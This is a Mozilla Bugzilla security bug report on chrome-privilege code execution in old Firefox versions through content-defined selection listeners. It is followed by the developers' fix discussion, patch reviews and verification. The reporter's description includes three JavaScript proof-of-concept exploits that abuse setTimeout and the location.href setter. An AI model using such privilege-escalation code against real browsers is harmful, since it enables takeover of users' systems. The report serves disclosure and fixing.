The default bug view has changed. See this FAQ.

Arbitrary code execution using nsISelectionPrivate.addSelectionListener()

RESOLVED FIXED

Status

()

Core
Security
RESOLVED FIXED
11 years ago
8 years ago

People

(Reporter: moz_bug_r_a4, Assigned: bz)

Tracking

({fixed1.8.1, verified1.8.0.4})

Trunk
x86
Windows XP
fixed1.8.1, verified1.8.0.4
Points:
---
Bug Flags:
blocking1.7.14 +
blocking-aviary1.0.9 +
blocking1.8.0.4 +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:critical])

Attachments

(2 attachments, 1 obsolete attachment)

(Reporter)

Description

11 years ago
Content script can register a content-defined SelectionListener.  And when a
user uses the Find Toolbar or chooses "Select All" from the context menu,
listener.notifySelectionChanged() is called and its caller has chrome
privileges.

On fx1.5.0.3, fx1.0.8 and moz1.7.13, window.setTimeout can be used to run
arbitrary code with chrome privileges.

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var l = { notifySelectionChanged : setTimeout };
  sel.addSelectionListener(l);
  l.__proto__ = window;
  document.toString = function() { return "code"; };

On the trunk, fx2.0a1 and fx1.5.0.4, setTimeout belt-and-braces (Bug 330773
Comment #20) makes the above "code" be run with content privileges.  But,
location.href setter function can be used to run code with chrome privileges.
(On the trunk, further trick is needed).

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var h = frames[0].location.__lookupSetter__("href");
  var l = { notifySelectionChanged : h };
  sel.addSelectionListener(l);
  l.__proto__ = frames[0].location;
  document.toString = function() { return "javascript:code"; };

On the trunk, when caller is chrome, the arguments that are passed to
listener.notifySelectionChanged() are XPCNativeWrapper.  Thus, it's necessary
to override toString method on the XPCNativeWrapped document first.

  var sel = getSelection();
  sel.QueryInterface(Components.interfaces.nsISelectionPrivate);
  var h = frames[0].location.__lookupSetter__("href");
  var l = {};
  l.notifySelectionChanged = function(doc, sel, reason) {
    try { arguments.callee.caller; return; }
    catch (e) {}
    doc.toString = function() { return "javascript:code"; };
    this.notifySelectionChanged = h;
  };
  sel.addSelectionListener(l);
  l.__proto__ = frames[0].location;
(Reporter)

Comment 1

11 years ago
Created attachment 221025 [details]
testcase 1 - code execution using window.setTimeout

This works on fx1.5.0.3, fx1.0.8 and moz1.7.13.
(Reporter)

Comment 2

11 years ago
Created attachment 221027 [details]
testcase 2 - code execution using location.href setter

This works on fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.
(Reporter)

Comment 3

11 years ago
Created attachment 221028 [details]
testcase 3 - code execution using location.href setter

This works on trunk, fx2.0a1, fx1.5.0.4, fx1.5.0.3, fx1.0.8 and moz1.7.13.
(Reporter)

Comment 4

11 years ago
When a user left-clicks, selects text or presses Ctrl+A, the safe context that
comes from the hidden window is used to call listener.notifySelectionChanged().

On Windows and Linux, the hidden window's url is
resource://gre/res/hiddenWindow.html.  But, on Mac, it is
chrome://global/content/hiddenWindow.xul.   Does that mean the safe context's
global object has chrome privileges on Mac?  If so, is it possible to trigger
the code execution PoCs in this bug by left-clicking, selecting text or
pressing Ctrl+A?
So... this method (and possibly the whole api) looks like it should just be noscript, imo.  The only script we have that uses it is the two copies of viewsource.js; we could add another API they can call (one that will check that the caller has UniversalXPConnect privileges or something).

Or would making an interface noscript be an API change?  In that case we should just change this method to do the UniversalXPConnect check and add a noscript method for all the C++ callers.
I don't like using [noscript] to carry security information like "not suitable for unprivileged script" -- an implementation of that interface could certainly behave appropriately in the face of an unprivileged caller.

So let's put the security checks in, but why would the C++ callers need to call something else?  They should have privs, and be able to express that (possibly with a helper to push the right principal?), I think.
> They should have privs

Generally speaking, in the current state of our security architecture, any C++ call to any function that does a security check against the subject principal should assume that the subject can be anything from chrome to the null principal.

You're right that helpers to push the null principal might work here.  We could do this in that case; we'd need to modify almost all callsites for this API, create the helpers for pushing the null principal, make those accessible from a variety of modules, add a fair amount of codesize, etc.  I have yet to see a decent workable mockup of this even with codesize considerations excluded.

We'd also need to document the security restrictions in the API somehow, of course, but I suppose we could use comments.

If we can find someone to do all this, on trunk and all branches, I agree it would be better than my proposal...
Flags: blocking1.8.0.5+
Flags: blocking1.8.0.4?
So... I can't reproduce with testcase 3 on trunk.  I get no alert, no security errors, nothing.

I'll post a patch that should fix this and even make shaver somewhat happy.  ;)  But I can't really test it well, since I can't reproduce the bug.
Created attachment 221219 [details] [diff] [review]
Proposed fix
Attachment #221219 - Flags: superreview?(shaver)
Attachment #221219 - Flags: review?(jst)
Attachment #221219 - Flags: approval1.8.0.4?
Attachment #221219 - Flags: approval-branch-1.8.1?(jst)
Created attachment 221220 [details] [diff] [review]
Patch for real...
Attachment #221219 - Attachment is obsolete: true
Attachment #221220 - Flags: superreview?(shaver)
Attachment #221220 - Flags: review?(jst)
Attachment #221220 - Flags: approval1.8.0.4?
Attachment #221220 - Flags: approval-branch-1.8.1?(jst)
Attachment #221219 - Flags: superreview?(shaver)
Attachment #221219 - Flags: review?(jst)
Attachment #221219 - Flags: approval1.8.0.4?
Attachment #221219 - Flags: approval-branch-1.8.1?(jst)
Comment on attachment 221220 [details] [diff] [review]
Patch for real...

sr=shaver.  I like!
Attachment #221220 - Flags: superreview?(shaver) → superreview+
Comment on attachment 221220 [details] [diff] [review]
Patch for real...

>+pref("capability.policy.default.Selection.addSelectionListener", "UniversalXPConnect");
>+pref("capability.policy.default.Selection.removeSelectionListener", "UniversalXPConnect");

Is there a reason you didn't use "noAccess" like everywhere else? UniversalXPConnect already has a magic pass:
http://bonsai.mozilla.org/cvsblame.cgi?file=mozilla/caps/src/nsScriptSecurityManager.cpp&rev=1.299&mark=2893-2896#2890

I suppose doing it this way could let you check in with an obfuscated comment like "allow signed script access" and make it look like we're expanding permission, not restricting it.

r=dveditz either way though. Maybe "noAccess" on the trunk later on.
Attachment #221220 - Flags: review?(jst)
Attachment #221220 - Flags: review+
Attachment #221220 - Flags: approval-branch-1.8.1?(jst)
Attachment #221220 - Flags: approval-branch-1.8.1+
Whiteboard: [sg:critical]

Comment 13

11 years ago
Comment on attachment 221220 [details] [diff] [review]
Patch for real...

The Release Team discussed this.  It is a hi risk  security issue that is also a red flag when it lands on the trunk or 1.8.1.  We need to fix this in 1.5.0.4 now.  a=timr for drivers
Attachment #221220 - Flags: approval1.8.0.4? → approval1.8.0.4+
Assignee: dveditz → bzbarsky
Fixed on 1.8.0 branch.  Waiting for tree opening on the other branches.
Keywords: fixed1.8.0.4

Comment 15

11 years ago
Bz - you can/should land for 1.8
Flags: blocking1.8.0.5+
Flags: blocking1.8.0.4?
Flags: blocking1.8.0.4+
Fixed on 1.8 branch too...
Flags: blocking1.8.0.4+ → blocking1.8.0.4?
Keywords: fixed1.8.1
Flags: blocking1.8.0.4? → blocking1.8.0.4+
verified with 1.5.0.4rc2 on Windows. all three testcases look good.
Keywords: fixed1.8.0.4 → verified1.8.0.4
I tried the three test cases on Intel Mac 1.5.0.4rc2; no problems found.
Fixed on trunk.
Status: NEW → RESOLVED
Last Resolved: 11 years ago
Resolution: --- → FIXED
Flags: blocking1.7.14+
Flags: blocking-aviary1.0.9+

Comment 20

11 years ago
Created attachment 225485 [details] [diff] [review]
1.0.x version - ready for checkin
Attachment #225485 - Flags: review?(caillon)
Group: core-security
You need to log in before you can comment on or make changes to this bug.